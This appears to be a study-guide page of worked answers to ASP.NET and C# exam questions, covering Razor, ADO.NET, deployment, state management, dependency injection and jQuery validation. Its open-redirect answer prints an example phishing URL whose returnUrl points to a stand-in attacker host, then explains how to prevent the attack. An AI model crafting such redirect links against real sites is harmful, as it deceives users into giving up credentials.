Collection versus generics
| Basis | Collection (non-generic) | Generics |
|---|---|---|
| Meaning | Classes in System.Collections such as ArrayList, Hashtable that hold object | A feature allowing classes, methods and interfaces to be defined with a type parameter T; generic collections (List<T>, Dictionary<K,V>) are built on it |
| Type safety | Not type-safe; any type may be added and casts are needed | Type-safe, checked at compile time |
| Performance | Boxing/unboxing for value types | No boxing; faster |
| Reuse | Weak | One definition works for many types |
Named and positional attribute parameters
Attributes add metadata to code elements and are declared in [ ].
- Positional parameters are the constructor parameters of the attribute class; they are mandatory and must be supplied in the order of the constructor, e.g.
[Obsolete("Use NewMethod", true)](message, error). - Named parameters correspond to public properties or fields of the attribute class; they are optional, given in the form
Name = valueafter the positional ones and in any order, e.g.[DllImport("user32.dll", CharSet = CharSet.Unicode)].
[AttributeUsage(AttributeTargets.Class)]
public class InfoAttribute : Attribute
{
public string Author { get; } // positional (constructor)
public int Version { get; set; } // named (property)
public InfoAttribute(string author) { Author = author; }
}
[Info("Ram", Version = 2)]
class Sample { }
Program: custom exception when the subject name is not "C#"
(The question is read as: throw the user's own exception when the subject entered is not "C#".)
using System;
class InvalidSubjectException : Exception
{
public InvalidSubjectException(string message) : base(message) { }
}
class Program
{
static void CheckSubject(string subject)
{
if (subject != "C#")
throw new InvalidSubjectException("Invalid subject: " + subject + ". Subject must be C#.");
Console.WriteLine("Subject accepted: " + subject);
}
static void Main()
{
Console.Write("Enter subject name: ");
string subject = Console.ReadLine();
try
{
CheckSubject(subject);
}
catch (InvalidSubjectException ex)
{
Console.WriteLine("Error: " + ex.Message);
}
finally
{
Console.WriteLine("Done.");
}
}
}
Input C# prints "Subject accepted: C#"; input Java prints "Error: Invalid subject: Java. Subject must be C#."
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 10 marks
How do you create controller? Illustrate with an example. Describe the procedure of rendering HTML with Razor with scenario.
Answer
Creating a controller
In ASP.NET Core MVC a controller is a public class whose name ends in Controller, normally inheriting from Controller, stored in the Controllers folder. Its public methods are action methods that handle requests and return an IActionResult.
Steps:
- Add a class
ProductControllerinControllers(or Add -> Controller in Visual Studio /dotnet aspnet-codegenerator). - Register MVC in
Program.cs:builder.Services.AddControllersWithViews();andapp.MapControllerRoute("default", "{controller=Home}/{action=Index}/{id?}");. - Write actions and add matching views.
Example:
public class ProductController : Controller
{
public IActionResult Index()
{
var products = new List<Product>
{
new Product { Id = 1, Name = "Pen", Price = 20 },
new Product { Id = 2, Name = "Book", Price = 250 }
};
return View(products); // Views/Product/Index.cshtml
}
public IActionResult Details(int id)
{
var p = new Product { Id = id, Name = "Pen", Price = 20 };
return View(p);
}
}
/Product/Index calls Index(), and /Product/Details/1 calls Details(1) through routing and model binding.
Rendering HTML with Razor (scenario: show a product list)
- The request
/Product/Indexis routed to the action, which prepares the model and returnsView(model). - The view engine finds
Views/Product/Index.cshtml(thenViews/Shared), applies_ViewStart.cshtmland wraps the view in_Layout.cshtml. - Razor executes the C# code (
@syntax) with the model and merges the results with the HTML markup. - The final plain HTML is sent to the browser.
Views/Product/Index.cshtml:
@model List<Product>
<h2>Product list</h2>
<table class="table">
<tr><th>Id</th><th>Name</th><th>Price</th><th></th></tr>
@foreach (var p in Model)
{
<tr>
<td>@p.Id</td>
<td>@p.Name</td>
<td>Rs @p.Price</td>
<td><a asp-action="Details" asp-route-id="@p.Id">Details</a></td>
</tr>
}
</table>
Razor HTML-encodes output by default, which protects against cross-site scripting. The requirements are the view file, the registered view engine, the layout files and the model passed from the controller.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 10 marks
List some advantages of Entity Framework over ADO.NET. Assume a database named “IOST” with a table FACULTY(Course_Name, CourseID, No_of_Semester, fee). Insert some records using ADO.NET and retrive the fee of records having name CSIT.
Answer
Advantages of Entity Framework over ADO.NET
- Object-relational mapping: works with C# objects and LINQ instead of SQL strings and data readers, so there is far less boilerplate code.
- Compile-time checking of queries (LINQ) and strongly typed models.
- Automatic change tracking and
SaveChanges()generate the INSERT/UPDATE/DELETE statements. - Migrations create and evolve the database schema from the model.
- Database independence: the same code works with SQL Server, MySQL, PostgreSQL or SQLite by changing the provider.
- Relationships and lazy/eager loading handled automatically (
Include). - Parameterised SQL by default, reducing SQL injection risk.
- Faster development and easier maintenance, whereas ADO.NET gives finer control and is slightly faster for raw operations.
ADO.NET program: database IOST, table FACULTY(Course_Name, CourseID, No_of_Semester, fee)
using System;
using System.Data.SqlClient;
class Program
{
static void Main()
{
string connStr = "Server=.;Database=IOST;Trusted_Connection=True;";
using (SqlConnection con = new SqlConnection(connStr))
{
con.Open();
// Insert some records
string insert = "INSERT INTO FACULTY (Course_Name, CourseID, No_of_Semester, fee) " +
"VALUES (@name, @id, @sem, @fee)";
var data = new (string name, int id, int sem, decimal fee)[]
{
("CSIT", 101, 8, 450000m),
("BCA", 102, 8, 400000m),
("BIT", 103, 8, 380000m)
};
foreach (var d in data)
{
using (SqlCommand cmd = new SqlCommand(insert, con))
{
cmd.Parameters.AddWithValue("@name", d.name);
cmd.Parameters.AddWithValue("@id", d.id);
cmd.Parameters.AddWithValue("@sem", d.sem);
cmd.Parameters.AddWithValue("@fee", d.fee);
cmd.ExecuteNonQuery();
}
}
// Retrieve fee of records whose name is CSIT
string select = "SELECT fee FROM FACULTY WHERE Course_Name = @name";
using (SqlCommand cmd = new SqlCommand(select, con))
{
cmd.Parameters.AddWithValue("@name", "CSIT");
using (SqlDataReader rd = cmd.ExecuteReader())
{
while (rd.Read())
Console.WriteLine("Fee of CSIT: Rs " + rd["fee"]);
}
}
}
}
}
ExecuteNonQuery() runs the INSERT statements, and ExecuteReader() retrieves the matching fee values. Parameters avoid SQL injection, and using closes the connection automatically.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 5 marks
Describe the procedure of deploying .NET core application.
Answer
Deploying an ASP.NET Core application means publishing the compiled app and hosting it on a server that can run it. The usual procedure is as follows.
1. Prepare and test the application. Set the environment to Production (ASPNETCORE_ENVIRONMENT), move secrets and connection strings out of source code into environment variables or a secret store, and enable HTTPS and error handling suitable for production.
2. Publish the app. Run
dotnet publish -c Release -o ./publish
This compiles in Release mode and copies the app DLLs, dependencies, wwwroot and appsettings.json to the publish folder. Two deployment models exist:
- Framework-dependent deployment (FDD): small package, needs the .NET runtime installed on the server.
- Self-contained deployment (SCD):
dotnet publish -r linux-x64 --self-containedbundles the runtime, so the server needs no .NET installation.
3. Choose the hosting option.
- IIS on Windows: install the .NET Core Hosting Bundle, create a site pointing to the publish folder. IIS uses the ASP.NET Core Module (ANCM) to forward requests to the Kestrel process.
- Linux (Nginx/Apache): copy the files to the server, run the app on Kestrel as a
systemdservice, and configure Nginx as a reverse proxy tohttp://localhost:5000. - Docker: write a
Dockerfile(build with the SDK image, run on theaspnetimage), thendocker buildanddocker run -p 80:8080. - Cloud: Azure App Service, AWS Elastic Beanstalk, etc., using CLI, Visual Studio "Publish" or a CI/CD pipeline.
4. Configure the server. Bind HTTPS certificates, open firewall ports, set environment variables and make sure the app has write permission only where required (logs, uploads).
5. Run database migrations and verify. Apply EF Core migrations (dotnet ef database update), browse the site, and check the logs and health endpoints.
6. Monitor and update. Use logging and monitoring, and redeploy by publishing again (an app_offline.htm file can be used on IIS to stop the app during file replacement).
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 5 marks
How does ASP.NET core MVC provides patterns-based way to build dynamic website? Explain.
Answer
ASP.NET Core MVC is a framework built on the Model-View-Controller pattern. It gives a patterns-based way to build dynamic websites by separating the application into three concerns, so that each can be developed, tested and changed independently.
- Model: represents the data and business rules (entity classes, validation, data access via EF Core).
- View: the presentation layer, written in Razor (
.cshtml), mixing HTML with C# to generate dynamic pages. - Controller: receives the HTTP request, calls the model, selects a view and passes data to it.
Request flow:
- The browser sends a request such as
/Products/Details/5. - Routing maps the URL to a controller and action using a pattern, for example
{controller=Home}/{action=Index}/{id?}. - The
ProductsController.Details(5)action runs. Model binding converts route/query/form values to action parameters and objects, and model validation checks them. - The action fetches data from the model/service layer and returns
View(model). - The Razor view renders HTML using the model, and the response is returned to the browser.
public class ProductsController : Controller
{
private readonly IProductService _svc;
public ProductsController(IProductService svc) => _svc = svc; // dependency injection
public IActionResult Details(int id)
{
var p = _svc.Get(id);
if (p == null) return NotFound();
return View(p);
}
}
Patterns and features supported: convention-based and attribute routing, strongly typed views, layouts and partial views, tag helpers, filters (authorization, exception), dependency injection, and testable controllers. Because of this separation of concerns and convention over configuration, the application is organised, testable and easy to maintain.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 5 marks
Define state management. Explain the parts of state management on the client side.
Answer
State management is the technique of preserving information (user data, selections, login status) across requests. HTTP is stateless, so each request is independent and the server does not remember earlier ones; state management lets a web application retain data between requests and pages.
Client-side state management stores the data in the user's browser or sends it with each request. The main parts are:
-
Cookies: small name-value text files stored in the browser and sent to the server with every request. They can be persistent (with an expiry date) or session cookies. Limit about 4 KB, and the user can disable or tamper with them, so sensitive data should not be stored there.
Response.Cookies.Append("theme", "dark", new CookieOptions { Expires = DateTimeOffset.Now.AddDays(7) }); var theme = Request.Cookies["theme"]; -
Query string: data appended to the URL, e.g.
page.aspx?id=5&name=Ram. Simple and bookmarkable but visible, length-limited and insecure. -
Hidden fields:
<input type="hidden">in a form carries data back to the server on post-back. Not displayed but visible in page source and editable. -
View state (ASP.NET Web Forms): page and control values stored in an encoded hidden field
__VIEWSTATE, which increases page size. -
Control state: a small, essential part of a control's state that is preserved even when view state is disabled.
-
Web storage (
localStorage,sessionStorage): key-value storage in the browser, around 5 MB;localStoragepersists,sessionStoragelasts for the tab. -
TempData / route data: short-lived data kept in cookies or session for redirects.
Client-side state reduces server memory use and scales well, but it is less secure and limited in size compared with server-side state (Session, Application, cache, database).
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 5 marks
Write a program to validate the form that takes input user name, password and phone number using JQuery. All fields must be non-empty and phone number must contain exactly 10 digits.
Answer
The form below checks, using jQuery, that user name, password and phone number are not empty and that the phone number has exactly 10 digits.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Form Validation</title>
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<style>.error { color: red; font-size: 13px; }</style>
</head>
<body>
<form id="regForm">
<p>User name: <input type="text" id="username"> <span class="error" id="e1"></span></p>
<p>Password: <input type="password" id="password"> <span class="error" id="e2"></span></p>
<p>Phone: <input type="text" id="phone"> <span class="error" id="e3"></span></p>
<input type="submit" value="Submit">
</form>
<script>
$(document).ready(function () {
$("#regForm").on("submit", function (e) {
var valid = true;
$(".error").text("");
var user = $.trim($("#username").val());
var pass = $("#password").val();
var phone = $.trim($("#phone").val());
if (user === "") {
$("#e1").text("User name is required.");
valid = false;
}
if (pass === "") {
$("#e2").text("Password is required.");
valid = false;
}
if (phone === "") {
$("#e3").text("Phone number is required.");
valid = false;
} else if (!/^\d{10}$/.test(phone)) {
$("#e3").text("Phone number must contain exactly 10 digits.");
valid = false;
}
if (!valid) {
e.preventDefault(); // stop submission
} else {
alert("Form is valid.");
}
});
});
</script>
</body>
</html>
The regular expression ^\d{10}$ accepts only strings made of exactly ten digits. e.preventDefault() blocks submission when any check fails, and the error messages are shown beside each field.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 5 marks
Distinguish between roles and policies. Explain about Kestrel web server in ASP.NET core.
Answer
Roles vs policies
| Roles | Policies |
|---|---|
| Role-based authorization: access depends on the role(s) a user belongs to, e.g. Admin, Manager | Policy-based authorization: access depends on a set of requirements/claims evaluated by rules |
| Simple, coarse-grained | Flexible, fine-grained, can combine many conditions (age, claim, department, time) |
[Authorize(Roles = "Admin")] | [Authorize(Policy = "AtLeast18")] |
| Hard-coded role names | Defined centrally in AddAuthorization with requirements and handlers |
A role is essentially a claim of type Role | Policies can use roles, claims and custom logic |
Example policy:
builder.Services.AddAuthorization(o =>
o.AddPolicy("AdultOnly", p => p.RequireClaim("Age").RequireRole("Member")));
Kestrel web server
Kestrel is the default, cross-platform, lightweight and high-performance web server built into ASP.NET Core, based on libuv/managed sockets. It is included in every ASP.NET Core project and starts when the app runs (dotnet run).
Key points:
- It handles HTTP/1.1, HTTP/2 and HTTP/3 and supports HTTPS.
- It can be used alone (edge server) or behind a reverse proxy (IIS, Nginx, Apache) which adds security, load balancing, static file handling and SSL termination.
- It runs on Windows, Linux and macOS.
- It is configurable, e.g. ports, limits and certificates:
builder.WebHost.ConfigureKestrel(o =>
{
o.ListenAnyIP(5000);
o.Limits.MaxRequestBodySize = 10 * 1024 * 1024;
});
On IIS the app runs in-process using IIS HTTP Server or out-of-process with Kestrel behind IIS.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 5 marks
Describe the life cycle of Dependency Injection container.
Answer
ASP.NET Core has a built-in Dependency Injection (DI) container (IServiceProvider) that creates objects and supplies their dependencies. Its life cycle has three phases.
1. Registration. In Program.cs services are registered in the IServiceCollection with a lifetime:
builder.Services.AddTransient<IEmailService, EmailService>();
builder.Services.AddScoped<IOrderRepository, OrderRepository>();
builder.Services.AddSingleton<ICacheService, CacheService>();
2. Resolution. When the app is built (builder.Build()), the container becomes an IServiceProvider. When a controller or service needs a dependency (usually via constructor injection), the container creates the object, recursively resolving its own dependencies.
3. Disposal. The container tracks the IDisposable objects it created and disposes them when their scope ends.
Service lifetimes
| Lifetime | Instance creation | Disposed |
|---|---|---|
| Transient | A new instance every time it is requested | At the end of the scope/request |
| Scoped | One instance per scope (per HTTP request) | At the end of the request |
| Singleton | One instance for the entire application, created on first use (or at registration) | When the application shuts down |
For every request, the framework creates a new scope, resolves the controller and its scoped/transient services in that scope, and disposes the scope after the response is sent. Singleton services must not depend on scoped services (captive dependency), which ValidateScopes detects in the development environment.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 5 marks
Create a class named EMPLOYEE as super class and ENGINEER and DOCTOR as sub class. Make your own assumptions as properties and methods.
Answer
Assumptions: EMPLOYEE holds common data (id, name, salary); ENGINEER adds a specialisation and project; DOCTOR adds a department and patient count. Each overrides a method to compute the bonus.
using System;
public class Employee
{
public int Id { get; set; }
public string Name { get; set; }
public double Salary { get; set; }
public Employee(int id, string name, double salary)
{
Id = id; Name = name; Salary = salary;
}
public virtual double CalculateBonus() => Salary * 0.05;
public virtual void Display()
{
Console.WriteLine($"Id: {Id}, Name: {Name}, Salary: {Salary}");
}
}
public class Engineer : Employee
{
public string Specialization { get; set; }
public int ProjectsCompleted { get; set; }
public Engineer(int id, string name, double salary, string spec, int projects)
: base(id, name, salary)
{
Specialization = spec; ProjectsCompleted = projects;
}
public override double CalculateBonus() => Salary * 0.10 + ProjectsCompleted * 1000;
public override void Display()
{
base.Display();
Console.WriteLine($"Engineer in {Specialization}, projects: {ProjectsCompleted}, bonus: {CalculateBonus()}");
}
}
public class Doctor : Employee
{
public string Department { get; set; }
public int PatientsTreated { get; set; }
public Doctor(int id, string name, double salary, string dept, int patients)
: base(id, name, salary)
{
Department = dept; PatientsTreated = patients;
}
public override double CalculateBonus() => Salary * 0.15 + PatientsTreated * 50;
public override void Display()
{
base.Display();
Console.WriteLine($"Doctor in {Department}, patients: {PatientsTreated}, bonus: {CalculateBonus()}");
}
}
class Program
{
static void Main()
{
Employee[] staff =
{
new Engineer(1, "Hari", 80000, "Civil", 4),
new Doctor(2, "Sita", 120000, "Cardiology", 200)
};
foreach (var e in staff) e.Display(); // runtime polymorphism
}
}
Employee is the super class, Engineer and Doctor inherit its properties through : Employee, and each overrides CalculateBonus() and Display().
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 5 marks
What is the task of ORM? Discuss about open redirect attacks.
Answer
Task of ORM
Object-Relational Mapping (ORM) is a technique and tool (e.g. Entity Framework Core, Dapper-like micro-ORMs, NHibernate) that maps database tables to classes and rows to objects. Its tasks are:
- Map tables/columns to classes/properties so developers work with objects instead of writing SQL.
- Generate SQL (CRUD) automatically from LINQ queries, e.g.
db.Books.Where(b => b.Price > 1000). - Track changes and save them (
SaveChanges()), and manage relationships (one-to-many, many-to-many). - Handle database creation and schema versioning through migrations.
- Provide database independence (change provider with little code change) and help to prevent SQL injection by parameterising queries.
It reduces the impedance mismatch between the object model and the relational model and speeds development, at some cost in performance for complex queries.
Open redirect attacks
An open redirect occurs when an application redirects the user to a URL taken from user input (query string, form field) without checking it. For example:
https://bank.com/login?returnUrl=http://evil.com/fake-login
After login the app redirects to evil.com, a phishing site that looks like the original. Because the link begins with the trusted domain, users are deceived into giving credentials or downloading malware.
Prevention in ASP.NET Core:
- Validate that the URL is local with
Url.IsLocalUrl(returnUrl). - Use
LocalRedirect(returnUrl), which throws an exception for non-local URLs. - Maintain a whitelist of allowed redirect targets, or use identifiers instead of full URLs.
if (Url.IsLocalUrl(returnUrl)) return Redirect(returnUrl);
return RedirectToAction("Index", "Home");
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 5 marks
Write short notes on:
- Polymorphism
- Hidden Field
Answer
1. Polymorphism
Polymorphism means "many forms": the same operation behaves differently depending on the object. In C# there are two kinds.
- Compile-time (static) polymorphism: method overloading and operator overloading. The method is selected at compile time by its signature.
- Run-time (dynamic) polymorphism: method overriding using
virtualin the base class andoverridein the derived class. The method called depends on the actual object type.
class Shape { public virtual double Area() => 0; }
class Circle : Shape
{
double r; public Circle(double r) { this.r = r; }
public override double Area() => Math.PI * r * r;
}
class Rect : Shape
{
double w, h; public Rect(double w, double h) { this.w = w; this.h = h; }
public override double Area() => w * h;
}
Shape s = new Circle(2);
Console.WriteLine(s.Area()); // calls Circle.Area
It gives flexibility, code reuse and extensibility.
2. Hidden Field
A hidden field is an HTML form element, <input type="hidden" name="id" value="25">, that stores data in a form without showing it to the user. The value is submitted to the server with the form, so it is used for client-side state management, to carry values (record id, token) between pages during post-back.
<form method="post" action="/Edit">
<input type="hidden" name="productId" value="25" />
<input type="text" name="name" />
<input type="submit" />
</form>
Advantages: simple, works without cookies, no server memory. Disadvantages: the value is visible in the page source and can be modified by the user, so it must never hold sensitive data and the server must validate it. ASP.NET Core also uses hidden fields for anti-forgery tokens (__RequestVerificationToken).
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 10 marks
Define lambda expression. Distinguish between expression lambda and statement lambda. Write a program for asynchronous file read. List the benefits of Async and Await.
Answer
Lambda expression
A lambda expression is an anonymous function written with the lambda operator => ("goes to"). It can be used wherever a delegate or expression tree is expected, such as LINQ queries, event handlers and callbacks. Syntax: (parameters) => expression or { statements }.
Func<int, int> square = x => x * x;
Expression lambda vs statement lambda
| Expression lambda | Statement lambda |
|---|---|
| Body is a single expression | Body is a block of statements in { } |
x => x * 2 | x => { int y = x * 2; return y; } |
No braces and no return keyword | Braces required; return needed if a value is returned |
| Can be converted to delegates and expression trees (used by LINQ providers such as EF) | Can be converted only to delegates, not expression trees |
| Short, one-line operations | Multiple statements, loops, conditions |
Program for asynchronous file read
using System;
using System.IO;
using System.Threading.Tasks;
class Program
{
static async Task Main()
{
try
{
string text = await ReadFileAsync("data.txt");
Console.WriteLine(text);
}
catch (FileNotFoundException)
{
Console.WriteLine("File not found.");
}
}
static async Task<string> ReadFileAsync(string path)
{
using (var reader = new StreamReader(path))
{
return await reader.ReadToEndAsync(); // thread is not blocked while reading
}
}
}
Benefits of async and await
- The calling thread is not blocked while waiting for I/O (file, network, database), so the UI stays responsive.
- Scalability: in ASP.NET Core, threads return to the pool during I/O and more requests can be served.
- Code is written in a sequential, readable style, compared with callbacks.
- Exceptions can be handled with ordinary
try/catch. - Better use of resources and improved performance for I/O-bound work; multiple tasks can run concurrently with
Task.WhenAll.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 10 marks
What is the process to capture Razor output? Explain the ASP.NET Core features to dynamically generate HTML content using C# and send it to the client, separating the application’s concern.
Answer
Capturing Razor output
Razor is a markup syntax that mixes HTML with C#. Processing is: the .cshtml view is compiled into a C# class; at run time the class executes with the model and writes the resulting HTML to the response. To capture the rendered output as a string (for example to send an e-mail or generate a PDF) use the view engine:
- Inject
IRazorViewEngine,ITempDataProviderandIServiceProvider. - Find the view with
FindView(actionContext, viewName, false). - Create a
ViewContextwith aViewDataDictionaryholding the model, and aStringWriter. - Call
view.RenderAsync(viewContext). - Read the string from the
StringWriter.
var view = _viewEngine.FindView(actionContext, "Invoice", false).View;
using var sw = new StringWriter();
var viewContext = new ViewContext(actionContext, view,
new ViewDataDictionary(new EmptyModelMetadataProvider(), new ModelStateDictionary()) { Model = model },
new TempDataDictionary(actionContext.HttpContext, _tempData), sw, new HtmlHelperOptions());
await view.RenderAsync(viewContext);
string html = sw.ToString();
Alternatively, in a minimal setup a controller action returns View() and the framework writes the output directly.
ASP.NET Core features for generating HTML dynamically while separating concerns
- MVC pattern: models hold data and rules, controllers handle requests, and Razor views produce HTML, so logic and presentation are kept apart.
- Razor views and Razor Pages: C# inside HTML using
@; Razor Pages couple a page with itsPageModel. - Layouts, partial views, view components and sections: reuse of common page parts.
- Tag helpers and HTML helpers: server-side C# creates HTML elements, e.g.
<a asp-controller="Home" asp-action="Index">. - Strongly typed views (
@model): compile-time checking. - Model binding and validation: data is mapped from requests to objects.
- Dependency injection: services are supplied to controllers and views (
@inject), keeping business logic outside views. - Routing and middleware pipeline: URL mapping and processing in separate components.
- Automatic HTML encoding: Razor encodes output to prevent XSS.
Together, these allow the server to build HTML from C# and send it to the client with each concern (data, logic, UI) kept in its own layer.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 10 marks
Why do we need ORM? List the components of ADO.NET. Assume a database with a relation BOOK(ID, NAME, PRICE). Write a function to fetch a list of books having price more than 1000 using ADO.NET.
Answer
Why ORM is needed
- Developers work with objects and LINQ rather than hand-written SQL and manual mapping of rows to objects, which reduces repetitive code.
- It bridges the mismatch between the object model and the relational model.
- It provides change tracking, relationship handling, migrations and caching.
- Queries are parameterised, so SQL injection risk is reduced.
- It gives database independence and easier maintenance and testing.
Components of ADO.NET
- Connection (
SqlConnection) establishes the link to the database. - Command (
SqlCommand) executes SQL statements or stored procedures. - DataReader (
SqlDataReader) gives fast, forward-only, read-only access to results. - DataAdapter (
SqlDataAdapter) fills aDataSetand updates the database. - DataSet / DataTable is an in-memory, disconnected copy of the data.
- Parameter (
SqlParameter) passes values safely. - Transaction and .NET Data Providers (SqlClient, OleDb, ODBC) complete the model.
Function to fetch books with price > 1000
using System;
using System.Collections.Generic;
using System.Data.SqlClient; // Microsoft.Data.SqlClient in newer projects
public class Book
{
public int Id { get; set; }
public string Name { get; set; }
public decimal Price { get; set; }
}
public List<Book> GetExpensiveBooks(string connStr)
{
var books = new List<Book>();
string sql = "SELECT ID, NAME, PRICE FROM BOOK WHERE PRICE > @price";
using (var conn = new SqlConnection(connStr))
using (var cmd = new SqlCommand(sql, conn))
{
cmd.Parameters.AddWithValue("@price", 1000);
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
books.Add(new Book
{
Id = reader.GetInt32(0),
Name = reader.GetString(1),
Price = reader.GetDecimal(2)
});
}
}
}
return books;
}
The parameterised query prevents SQL injection, and the using statements close the reader and connection automatically.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 5 marks
Write the logic to extract the name of the movie and genre from the following JSON string:
{"movie": "The Imitation Game", "Genre": "Science"}
Answer
The JSON string is parsed into an object and the values are read by property name. Two common approaches in C# follow. Note that the key Genre starts with a capital letter, while movie does not.
Using System.Text.Json
using System;
using System.Text.Json;
string json = "{\"movie\": \"The Imitation Game\", \"Genre\": \"Science\"}";
using JsonDocument doc = JsonDocument.Parse(json);
JsonElement root = doc.RootElement;
string movie = root.GetProperty("movie").GetString();
string genre = root.GetProperty("Genre").GetString();
Console.WriteLine($"Movie: {movie}"); // The Imitation Game
Console.WriteLine($"Genre: {genre}"); // Science
Using a class and deserialization
public class MovieInfo
{
[JsonPropertyName("movie")] public string Movie { get; set; }
[JsonPropertyName("Genre")] public string Genre { get; set; }
}
var m = JsonSerializer.Deserialize<MovieInfo>(json);
Console.WriteLine(m.Movie + " - " + m.Genre);
(With Newtonsoft.Json: var obj = JObject.Parse(json); (string)obj["movie"]; (string)obj["Genre"];.)
In JavaScript the same logic is var o = JSON.parse(str); o.movie; o.Genre;. Output: movie = The Imitation Game, genre = Science.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 5 marks
What are the logics behind the .NET architecture and design principles? Explain.
Answer
The .NET architecture is designed around a few logical ideas.
Architecture logic
- Common Language Runtime (CLR): source code in any .NET language (C#, VB.NET, F#) is compiled to Common Intermediate Language (CIL), and the CLR compiles it to machine code with the JIT compiler at run time. This gives language and platform independence.
- Common Type System (CTS) and Common Language Specification (CLS): a shared set of data types and rules so languages can interoperate.
- Base Class Library (BCL) and framework libraries (ASP.NET, ADO.NET, EF) give reusable functionality.
- Managed execution: the CLR provides automatic memory management with garbage collection, type safety, exception handling and security, so developers avoid manual memory errors.
- Cross-platform runtime (.NET Core / .NET 5+): the same code runs on Windows, Linux and macOS, with a modular, side-by-side deployable runtime.
Design principles
- Separation of concerns and modularity: layers and small NuGet packages, include only what is needed.
- Dependency injection built-in for loose coupling and testability.
- Object-oriented design (SOLID): encapsulation, inheritance, polymorphism and interface-based programming.
- Convention over configuration, and extensibility through the middleware pipeline.
- Performance and scalability: async/await, Kestrel and low-allocation APIs.
- Security and open-source, community-driven development.
These choices give productivity, portability, maintainability and security.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 5 marks
Describe any four ways to read HTTP response in ASP.NET Core.
Answer
In ASP.NET Core, the "response" of an HTTP call can be read in several ways depending on whether the app is the server writing a response or a client reading one. Four common ways to read an HTTP response (using HttpClient) are:
1. GetStringAsync / ReadAsStringAsync: reads the body as a string.
string body = await client.GetStringAsync("https://api.example.com/items");
2. ReadFromJsonAsync<T>: deserialises a JSON body into an object.
var response = await client.GetAsync(url);
var items = await response.Content.ReadFromJsonAsync<List<Item>>();
3. ReadAsStreamAsync: reads the body as a stream, efficient for large content or files, avoids loading everything into memory.
using var stream = await response.Content.ReadAsStreamAsync();
using var reader = new StreamReader(stream);
string text = await reader.ReadToEndAsync();
4. ReadAsByteArrayAsync: reads binary content such as images or PDFs.
byte[] data = await response.Content.ReadAsByteArrayAsync();
Beyond the body, the HttpResponseMessage gives the status code (response.StatusCode, IsSuccessStatusCode, EnsureSuccessStatusCode()) and headers (response.Headers). On the server side the response being generated can be inspected through HttpContext.Response in middleware (status code, headers, body stream).
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 5 marks
Write a program to create two pages P1 and P2. P1 collects the user’s name and has two buttons to navigate to P2 — one using a query string and the other using a hidden field. P2 will display it, showing the two different methods of retrieval.
Answer
Two Razor Pages are used: P1 collects the name and offers two buttons, P2 shows the value and how it arrived.
P1.cshtml
@page
<h3>Page 1</h3>
<!-- Method 1: query string (GET) -->
<form method="get" action="/P2">
Name: <input type="text" name="name" />
<input type="submit" value="Send via Query String" />
</form>
<!-- Method 2: hidden field (POST) -->
<form method="post" action="/P2">
<input type="hidden" name="hiddenName" id="hn" />
Name: <input type="text" id="nm" oninput="document.getElementById('hn').value = this.value" />
<input type="submit" value="Send via Hidden Field" />
</form>
P2.cshtml
@page
@model P2Model
<h3>Page 2</h3>
<p>Name: @Model.UserName</p>
<p>Received using: @Model.Method</p>
P2.cshtml.cs
using Microsoft.AspNetCore.Mvc.RazorPages;
public class P2Model : PageModel
{
public string UserName { get; set; }
public string Method { get; set; }
public void OnGet(string name) // from query string ?name=Ram
{
UserName = name;
Method = "Query string (" + Request.QueryString + ")";
}
public void OnPost(string hiddenName) // from hidden form field
{
UserName = hiddenName;
Method = "Hidden field (Request.Form[\"hiddenName\"])";
}
}
The first form appends ?name=... to the URL and P2 reads it in OnGet. The second form posts the hidden input in the request body and P2 reads it in OnPost. (Razor Pages posts need an antiforgery token; it is added automatically to forms with method="post" when tag helpers are enabled.)
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2082 · 5 marks
How do you use JQuery in facilitating client-side form validation? Explain.
Answer
jQuery makes client-side validation short and cross-browser by selecting form elements, reading their values and showing messages before the form is sent to the server. This gives instant feedback and reduces server load. Server-side validation is still needed for security.
Steps
- Include jQuery (and optionally the jQuery Validation plugin).
- Attach a handler to the form's
submitevent:$("#form").on("submit", ...). - Read values with
.val(), test them (empty, length, regex, number range). - Show messages with
.text()/.show(), add CSS classes such as.addClass("error"). - Call
event.preventDefault()to stop submission if validation fails.
$("#loginForm").submit(function (e) {
var email = $.trim($("#email").val());
var ok = true;
$(".err").text("");
if (email === "") { $("#emailErr").text("Required"); ok = false; }
else if (!/^\S+@\S+\.\S+$/.test(email)) { $("#emailErr").text("Invalid email"); ok = false; }
if (!ok) e.preventDefault();
});
Using the jQuery Validation plugin
$("#loginForm").validate({
rules: { email: { required: true, email: true }, password: { required: true, minlength: 6 } },
messages: { password: { minlength: "At least 6 characters" } }
});
